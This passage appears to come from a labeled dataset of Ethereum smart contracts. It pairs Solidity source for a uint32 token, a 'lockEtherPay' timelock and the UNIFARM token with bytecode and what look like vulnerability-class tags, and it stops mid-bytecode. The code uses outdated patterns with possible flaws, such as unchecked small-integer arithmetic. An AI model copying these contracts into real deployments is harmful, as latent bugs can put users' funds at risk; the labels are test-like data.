balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint32 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint32 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint32 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint32 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint32 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint32 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca57806318160ddd146101585780632c9868df1461018d578063313ce5671461023057806370a082311461025f5780637a5984c4146102b857806380097484146102f957806384269ed91461034157806395d89b41146103c0578063a7e945421461044e578063bbcb4e3a146104ae578063dd62ed3e1461055d578063f62ee1af146105d5575b600080fd5b34156100d557600080fd5b6100dd610635565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011d578082015181840152602081019050610102565b50505050905090810190601f16801561014a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016357600080fd5b61016b6106d3565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561019857600080fd5b610216600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff1690602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506106e9565b604051808215151515815260200191505060405180910390f35b341561023b57600080fd5b61024361086f565b604051808260ff1660ff16815260200191505060405180910390f35b341561026a57600080fd5b610296600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610882565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156102c357600080fd5b6102df600480803563ffffffff169060200190919050506108a5565b604051808215151515815260200191505060405180910390f35b341561030457600080fd5b61033f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff16906020019091905050610a1d565b005b341561034c57600080fd5b6103a6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff16906020019091905050610a2c565b604051808215151515815260200191505060405180910390f35b34156103cb57600080fd5b6103d3610b9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104135780820151818401526020810190506103f8565b50505050905090810190601f1680156104405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045957600080fd5b610494600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff16906020019091905050610c39565b604051808215151515815260200191505060405180910390f35b34156104b957600080fd5b61055b600480803563ffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610ce0565b005b341561056857600080fd5b6105b3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e12565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156105e057600080fd5b61061b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff16906020019091905050610e44565b604051808215151515815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106cb5780601f106106a0576101008083540402835291602001916106cb565b820191906000526020600020905b8154815290600101906020018083116106ae57829003601f168201915b505050505081565b600260019054906101000a900463ffffffff1681565b6000808490506106f98585610c39565b15610866578073ffffffffffffffffffffffffffffffffffffffff1663eb83e2b5338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018463ffffffff1663ffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156107ff5780820151818401526020810190506107e4565b50505050905090810190601f16801561082c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561084d57600080fd5b5af1151561085a57600080fd5b50505060019150610867565b5b509392505050565b600260009054906101000a900460ff1681565b60036020528060005260406000206000915054906101000a900463ffffffff1681565b60008163ffffffff16600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff161015151561091157600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff16021790555081600260018282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f0866ce58cff25f1369001ade6576ab36e718743ef4997ccd9672674335f10a4183604051808263ffffffff1663ffffffff16815260200191505060405180910390a260019050919050565b610a28338383611114565b5050565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff168263ffffffff1611151515610ad557600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff160217905550610b90848484611114565b600190509392505050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c315780601f10610c0657610100808354040283529160200191610c31565b820191906000526020600020905b815481529060010190602001808311610c1457829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055506001905092915050565b63015ef3c0600260016101000a81548163ffffffff021916908363ffffffff160217905550600260019054906101000a900463ffffffff16600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055506040805190810160405280600781526020017fe6b8ace8a9a6340000000000000000000000000000000000000000000000000081525060009080519060200190610dc0929190611516565b506040805190810160405280600781526020017fe6b8ace8a9a6340000000000000000000000000000000000000000000000000081525060019080519060200190610e0c929190611516565b50505050565b60046020528160005260406000206020528060005260406000206000915091509054906101000a900463ffffffff1681565b60008163ffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff1610151515610eb057600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff168263ffffffff1611151515610f5757600080fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff16021790555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff16021790555081600260018282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff167f0866ce58cff25f1369001ade6576ab36e718743ef4997ccd9672674335f10a4183604051808263ffffffff1663ffffffff16815260200191505060405180910390a26001905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561113b57600080fd5b8163ffffffff16600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff16101515156111a557600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1663ffffffff1682600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff160163ffffffff1611151561125f57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff160163ffffffff16905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160392506101000a81548163ffffffff021916908363ffffffff16021790555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160192506101000a81548163ffffffff021916908363ffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f0daf680c3f528a8760b5142fe1f6f80d5f4ea18bb76f347a7a44a2d565c2b7dc84604051808263ffffffff1663ffffffff16815260200191505060405180910390a380600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff160163ffffffff1614151561151057fe5b50505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061155757805160ff1916838001178555611585565b82800160010185558215611585579182015b82811115611584578251825591602001919060010190611569565b5b5090506115929190611596565b5090565b6115b891905b808211156115b457600081600090555060010161159c565b5090565b905600a165627a7a723058203c0e8da8ebf3ba1c64774ceaff532c9a131fa9fd06a487fc8d298ed4aca1934f0029
[ 38 ]
0xf289bad655c46a4303101fb0095c5e72e94ba86a
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x3C66D9C8d94337EE35B0F00E769eF7637A33d037; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058204df694c1ae072a2cf117c99b6736a4a0610ddec9ea944e42d902196dcbfc85570029
[ 16, 7 ]
0xf289f7d8eb9b3b5d7dcbb792bbaccd80b32cf3b8
// UUUUUUUU UUUUUUUUNNNNNNNN NNNNNNNNIIIIIIIIIIFFFFFFFFFFFFFFFFFFFFFF AAA RRRRRRRRRRRRRRRRR MMMMMMMM MMMMMMMM // U::::::U U::::::UN:::::::N N::::::NI::::::::IF::::::::::::::::::::F A:::A R::::::::::::::::R M:::::::M M:::::::M // U::::::U U::::::UN::::::::N N::::::NI::::::::IF::::::::::::::::::::F A:::::A R::::::RRRRRR:::::R M::::::::M M::::::::M // UU:::::U U:::::UUN:::::::::N N::::::NII::::::IIFF::::::FFFFFFFFF::::F A:::::::A RR:::::R R:::::RM:::::::::M M:::::::::M // U:::::U U:::::U N::::::::::N N::::::N I::::I F:::::F FFFFFF A:::::::::A R::::R R:::::RM::::::::::M M::::::::::M // U:::::D D:::::U N:::::::::::N N::::::N I::::I F:::::F A:::::A:::::A R::::R R:::::RM:::::::::::M M:::::::::::M // U:::::D D:::::U N:::::::N::::N N::::::N I::::I F::::::FFFFFFFFFF A:::::A A:::::A R::::RRRRRR:::::R M:::::::M::::M M::::M:::::::M // U:::::D D:::::U N::::::N N::::N N::::::N I::::I F:::::::::::::::F A:::::A A:::::A R:::::::::::::RR M::::::M M::::M M::::M M::::::M // U:::::D D:::::U N::::::N N::::N:::::::N I::::I F:::::::::::::::F A:::::A A:::::A R::::RRRRRR:::::R M::::::M M::::M::::M M::::::M // U:::::D D:::::U N::::::N N:::::::::::N I::::I F::::::FFFFFFFFFFA:::::AAAAAAAAA:::::A R::::R R:::::RM::::::M M:::::::M M::::::M // U:::::D D:::::U N::::::N N::::::::::N I::::I F:::::F A:::::::::::::::::::::A R::::R R:::::RM::::::M M:::::M M::::::M // U::::::U U::::::U N::::::N N:::::::::N I::::I F:::::F A:::::AAAAAAAAAAAAA:::::A R::::R R:::::RM::::::M MMMMM M::::::M // U:::::::UUU:::::::U N::::::N N::::::::NII::::::IIFF:::::::FF A:::::A A:::::A RR:::::R R:::::RM::::::M M::::::M // UU:::::::::::::UU N::::::N N:::::::NI::::::::IF::::::::FF A:::::A A:::::A R::::::R R:::::RM::::::M M::::::M // UU:::::::::UU N::::::N N::::::NI::::::::IF::::::::FF A:::::A A:::::A R::::::R R:::::RM::::::M M::::::M // UUUUUUUUU NNNNNNNN NNNNNNNIIIIIIIIIIFFFFFFFFFFF AAAAAAA AAAAAAARRRRRRRR RRRRRRRMMMMMMMM MMMMMMMM // // TOKEN CONTRACT // unifarm.io - t.me/unifarm pragma solidity 0.5.17; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "permission denied"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "invalid address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } } contract ERC20Mintable is ERC20 { string public name; string public symbol; uint8 public decimals; function _mint(address to, uint256 amount) internal { _balances[to] = _balances[to].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal { _balances[from] = _balances[from].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(from, address(0), amount); } } contract UnifarmCore is ERC20Mintable, Ownable { using SafeMath for uint256; mapping (address => bool) public isMinter; constructor() public { name = "UNIFARM.IO"; symbol = "UNF"; decimals = 18; } function setMinter(address minter, bool flag) external onlyOwner { isMinter[minter] = flag; } function mint(address to, uint256 amount) external { require(isMinter[msg.sender], "Not Minter"); _mint(to, amount); } function burn(address from, uint256 amount) external { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(amount); require(_balances[from] >= amount, "insufficient-balance"); _burn(from, amount); } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638da5cb5b11610097578063aa271e1a11610066578063aa271e1a146102fd578063cf456ae714610323578063dd62ed3e14610351578063f2fde38b1461037f576100f5565b80638da5cb5b1461027957806395d89b411461029d5780639dc29fac146102a5578063a9059cbb146102d1576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce5671461020757806340c10f191461022557806370a0823114610253576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b6101026103a5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b038135169060200135610433565b604080519115158252519081900360200190f35b6101bf610499565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049f565b61020f610552565b6040805160ff9092168252519081900360200190f35b6102516004803603604081101561023b57600080fd5b506001600160a01b03813516906020013561055b565b005b6101bf6004803603602081101561026957600080fd5b50356001600160a01b03166105ba565b6102816105d5565b604080516001600160a01b039092168252519081900360200190f35b6101026105e9565b610251600480360360408110156102bb57600080fd5b506001600160a01b038135169060200135610644565b6101a3600480360360408110156102e757600080fd5b506001600160a01b03813516906020013561074e565b6101a36004803603602081101561031357600080fd5b50356001600160a01b0316610764565b6102516004803603604081101561033957600080fd5b506001600160a01b0381351690602001351515610779565b6101bf6004803603604081101561036757600080fd5b506001600160a01b03813581169160200135166107fc565b6102516004803603602081101561039557600080fd5b50356001600160a01b0316610827565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042b5780601f106104005761010080835404028352916020019161042b565b820191906000526020600020905b81548152906001019060200180831161040e57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b60006001600160a01b03841633148015906104df57506001600160a01b038416600090815260016020908152604080832033845290915290205460001914155b1561053d576001600160a01b0384166000908152600160209081526040808320338452909152902054610518908363ffffffff61093316565b6001600160a01b03851660009081526001602090815260408083203384529091529020555b610548848484610948565b5060019392505050565b60055460ff1681565b3360009081526006602052604090205460ff166105ac576040805162461bcd60e51b815260206004820152600a6024820152692737ba1026b4b73a32b960b11b604482015290519081900360640190fd5b6105b68282610a13565b5050565b6001600160a01b031660009081526020819052604090205490565b60055461010090046001600160a01b031681565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042b5780601f106104005761010080835404028352916020019161042b565b6001600160a01b038216331480159061068257506001600160a01b038216600090815260016020908152604080832033845290915290205460001914155b156106e0576001600160a01b03821660009081526001602090815260408083203384529091529020546106bb908263ffffffff61093316565b6001600160a01b03831660009081526001602090815260408083203384529091529020555b6001600160a01b038216600090815260208190526040902054811115610744576040805162461bcd60e51b8152602060048201526014602482015273696e73756666696369656e742d62616c616e636560601b604482015290519081900360640190fd5b6105b68282610ab0565b600061075b338484610948565b50600192915050565b60066020526000908152604090205460ff1681565b60055461010090046001600160a01b031633146107d1576040805162461bcd60e51b81526020600482015260116024820152701c195c9b5a5cdcda5bdb8819195b9a5959607a1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60055461010090046001600160a01b0316331461087f576040805162461bcd60e51b81526020600482015260116024820152701c195c9b5a5cdcda5bdb8819195b9a5959607a1b604482015290519081900360640190fd5b6001600160a01b0381166108cc576040805162461bcd60e51b815260206004820152600f60248201526e696e76616c6964206164647265737360881b604482015290519081900360640190fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282111561094257600080fd5b50900390565b6001600160a01b03821661095b57600080fd5b6001600160a01b038316600090815260208190526040902054610984908263ffffffff61093316565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546109b9908263ffffffff610b4d16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6001600160a01b038216600090815260208190526040902054610a3c908263ffffffff610b4d16565b6001600160a01b038316600090815260208190526040902055600254610a68908263ffffffff610b4d16565b6002556040805182815290516001600160a01b038416916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b038216600090815260208190526040902054610ad9908263ffffffff6109